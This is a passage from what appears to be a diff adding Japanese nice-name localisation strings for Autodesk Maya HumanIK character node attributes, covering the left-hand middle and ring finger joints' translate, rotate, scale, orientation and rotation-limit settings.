+setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1R", "左手中指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1Rx", "左手中指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1Ry", "左手中指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1Rz", "左手中指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1S", "左手中指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1Sx", "左手中指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1Sy", "左手中指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1Sz", "左手中指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1RotateOrder", "左手中指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1RotateAxis", "左手中指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1RotateAxisx", "左手中指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1RotateAxisy", "左手中指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1RotateAxisz", "左手中指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1JointOrient", "左手中指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1JointOrientx", "左手中指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1JointOrienty", "左手中指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1JointOrientz", "左手中指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MinRLimit", "左手中指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MinRLimitx", "左手中指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MinRLimity", "左手中指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MinRLimitz", "左手中指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MaxRLimit", "左手中指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MaxRLimitx", "左手中指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MaxRLimity", "左手中指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MaxRLimitz", "左手中指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MinRLimitEnablex", "左手中指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MinRLimitEnabley", "左手中指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MinRLimitEnablez", "左手中指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MaxRLimitEnablex", "左手中指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MaxRLimitEnabley", "左手中指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1MaxRLimitEnablez", "左手中指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2", "左手中指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2T", "左手中指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2Tx", "左手中指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2Ty", "左手中指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2Tz", "左手中指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2R", "左手中指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2Rx", "左手中指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2Ry", "左手中指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2Rz", "左手中指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2S", "左手中指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2Sx", "左手中指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2Sy", "左手中指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2Sz", "左手中指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2RotateOrder", "左手中指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2RotateAxis", "左手中指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2RotateAxisx", "左手中指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2RotateAxisy", "左手中指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2RotateAxisz", "左手中指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2JointOrient", "左手中指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2JointOrientx", "左手中指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2JointOrienty", "左手中指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2JointOrientz", "左手中指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MinRLimit", "左手中指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MinRLimitx", "左手中指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MinRLimity", "左手中指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MinRLimitz", "左手中指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MaxRLimit", "左手中指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MaxRLimitx", "左手中指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MaxRLimity", "左手中指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MaxRLimitz", "左手中指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MinRLimitEnablex", "左手中指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MinRLimitEnabley", "左手中指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MinRLimitEnablez", "左手中指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MaxRLimitEnablex", "左手中指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MaxRLimitEnabley", "左手中指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle2MaxRLimitEnablez", "左手中指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3", "左手中指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3T", "左手中指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3Tx", "左手中指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3Ty", "左手中指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3Tz", "左手中指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3R", "左手中指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3Rx", "左手中指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3Ry", "左手中指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3Rz", "左手中指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3S", "左手中指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3Sx", "左手中指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3Sy", "左手中指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3Sz", "左手中指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3RotateOrder", "左手中指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3RotateAxis", "左手中指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3RotateAxisx", "左手中指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3RotateAxisy", "左手中指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3RotateAxisz", "左手中指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3JointOrient", "左手中指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3JointOrientx", "左手中指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3JointOrienty", "左手中指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3JointOrientz", "左手中指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MinRLimit", "左手中指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MinRLimitx", "左手中指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MinRLimity", "左手中指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MinRLimitz", "左手中指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MaxRLimit", "左手中指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MaxRLimitx", "左手中指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MaxRLimity", "左手中指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MaxRLimitz", "左手中指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MinRLimitEnablex", "左手中指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MinRLimitEnabley", "左手中指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MinRLimitEnablez", "左手中指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MaxRLimitEnablex", "左手中指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MaxRLimitEnabley", "左手中指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle3MaxRLimitEnablez", "左手中指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4", "左手中指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4T", "左手中指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4Tx", "左手中指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4Ty", "左手中指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4Tz", "左手中指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4R", "左手中指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4Rx", "左手中指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4Ry", "左手中指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4Rz", "左手中指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4S", "左手中指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4Sx", "左手中指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4Sy", "左手中指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4Sz", "左手中指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4RotateOrder", "左手中指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4RotateAxis", "左手中指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4RotateAxisx", "左手中指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4RotateAxisy", "左手中指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4RotateAxisz", "左手中指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4JointOrient", "左手中指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4JointOrientx", "左手中指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4JointOrienty", "左手中指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4JointOrientz", "左手中指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MinRLimit", "左手中指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MinRLimitx", "左手中指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MinRLimity", "左手中指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MinRLimitz", "左手中指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MaxRLimit", "左手中指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MaxRLimitx", "左手中指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MaxRLimity", "左手中指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MaxRLimitz", "左手中指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MinRLimitEnablex", "左手中指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MinRLimitEnabley", "左手中指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MinRLimitEnablez", "左手中指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MaxRLimitEnablex", "左手中指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MaxRLimitEnabley", "左手中指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MaxRLimitEnablez", "左手中指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1", "左手薬指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1T", "左手薬指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1Tx", "左手薬指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1Ty", "左手薬指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1Tz", "左手薬指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1R", "左手薬指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1Rx", "左手薬指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1Ry", "左手薬指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1Rz", "左手薬指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1S", "左手薬指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1Sx", "左手薬指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1Sy", "左手薬指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1Sz", "左手薬指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1RotateOrder", "左手薬指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1RotateAxis", "左手薬指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1RotateAxisx", "左手薬指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1RotateAxisy", "左手薬指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1RotateAxisz", "左手薬指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1JointOrient", "左手薬指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1JointOrientx", "左手薬指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1JointOrienty", "左手薬指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1JointOrientz", "左手薬指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MinRLimit", "左手薬指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MinRLimitx", "左手薬指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MinRLimity", "左手薬指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MinRLimitz", "左手薬指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MaxRLimit", "左手薬指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MaxRLimitx", "左手薬指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MaxRLimity", "左手薬指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MaxRLimitz", "左手薬指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MinRLimitEnablex", "左手薬指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MinRLimitEnabley", "左手薬指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MinRLimitEnablez", "左手薬指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MaxRLimitEnablex", "左手薬指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MaxRLimitEnabley", "左手薬指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MaxRLimitEnablez", "左手薬指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2", "左手薬指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2T", "左手薬指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2Tx", "左手薬指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2Ty", "左手薬指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2Tz", "左手薬指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2R", "左手薬指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2Rx", "左手薬指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2Ry", "左手薬指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2Rz", "左手薬指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2S", "左手薬指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2Sx", "左手薬指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2Sy", "左手薬指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2Sz", "左手薬指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2RotateOrder", "左手薬指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2RotateAxis", "左手薬指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2RotateAxisx", "左手薬指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2RotateAxisy", "左手薬指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2RotateAxisz", "左手薬指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2JointOrient", "左手薬指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2JointOrientx", "左手薬指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2JointOrienty", "左手薬指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2JointOrientz", "左手薬指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MinRLimit", "左手薬指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MinRLimitx", "左手薬指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MinRLimity", "左手薬指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MinRLimitz", "左手薬指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MaxRLimit", "左手薬指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MaxRLimitx", "左手薬指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MaxRLimity", "左手薬指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MaxRLimitz", "左手薬指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MinRLimitEnablex", "左手薬指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MinRLimitEnabley", "左手薬指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MinRLimitEnablez", "左手薬指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MaxRLimitEnablex", "左手薬指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MaxRLimitEnabley", "左手薬指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MaxRLimitEnablez", "左手薬指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3", "左手薬指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3T", "左手薬指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3Tx", "左手薬指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3Ty", "左手薬指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3Tz", "左手薬指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3R", "左手薬指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3Rx", "左手薬指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3Ry", "左手薬指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3Rz", "左手薬指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3S", "左手薬指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3Sx", "左手薬指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3Sy", "左手薬指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3Sz", "左手薬指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3RotateOrder", "左手薬指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3RotateAxis", "左手薬指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3RotateAxisx", "左手薬指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3RotateAxisy", "左手薬指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3RotateAxisz", "左手薬指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3JointOrient", "左手薬指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3JointOrientx", "左手薬指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3JointOrienty", "左手薬指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3JointOrientz", "左手薬指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MinRLimit", "左手薬指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MinRLimitx", "左手薬指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MinRLimity", "左手薬指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MinRLimitz", "左手薬指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MaxRLimit", "左手薬指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MaxRLimitx", "左手薬指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MaxRLimity", "左手薬指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MaxRLimitz", "左手薬指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MinRLimitEnablex", "左手薬指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MinRLimitEnabley", "左手薬指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MinRLimitEnablez", "左手薬指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MaxRLimitEnablex", "左手薬指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MaxRLimitEnabley", "左手薬指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MaxRLimitEnablez", "左手薬指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4", "左手薬指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4T", "左手薬指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4Tx", "左手薬指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4Ty", "左手薬指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4Tz", "左手薬指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4R", "左手薬指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4Rx", "左手薬指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4Ry", "左手薬指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4Rz", "左手薬指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4S", "左手薬指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4Sx", "左手薬指 4 Sx" ); 